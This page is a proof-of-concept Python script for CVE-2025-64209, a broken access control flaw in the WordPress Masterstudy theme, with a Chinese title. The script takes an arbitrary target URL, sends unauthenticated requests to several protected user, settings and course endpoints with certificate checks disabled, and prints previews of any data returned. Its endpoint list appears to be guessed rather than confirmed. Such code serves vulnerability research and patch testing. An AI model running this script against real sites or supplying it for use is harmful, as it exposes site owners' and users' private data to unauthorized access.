CVE-2025-64209 Masterstudy主题未授权访问漏洞

import requests import sys # CVE-2025-64209 PoC - Masterstudy Theme Broken Access Control # Target: WordPress sites using Masterstudy theme < 4.8.122 def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2025-64209 This PoC attempts to access protected endpoints without authentication """ # Common Masterstudy protected endpoints endpoints = [ '/wp-json/masterstudy/v1/settings', '/wp-json/masterstudy/v1/users', '/wp-json/masterstudy/v1/courses', '/wp-admin/admin-ajax.php?action=stm_lms_get_profile', '/wp-admin/admin-ajax.php?action=stm_lms_settings' ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/json' } print(f'[*] Scanning target: {target_url}') print(f'[*] CVE-2025-64209: Masterstudy < 4.8.122 Broken Access Control') for endpoint in endpoints: url = target_url.rstrip('/') + endpoint try: response = requests.get(url, headers=headers, timeout=10, verify=False) if response.status_code == 200: print(f'[+] VULNERABLE: {url}') print(f' Status: {response.status_code}') print(f' Response preview: {response.text[:200]}...') elif response.status_code == 401 or response.status_code == 403: print(f'[-] Protected: {endpoint}') else: print(f'[*] Unexpected response from {endpoint}: {response.status_code}') except requests.RequestException as e: print(f'[!] Error accessing {endpoint}: {str(e)}') print('[*] Scan complete') if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python cve-2025-64209.py <target_url>') print('Example: python cve-2025-64209.py https://example.com') sys.exit(1) target = sys.argv[1] check_vulnerability(target)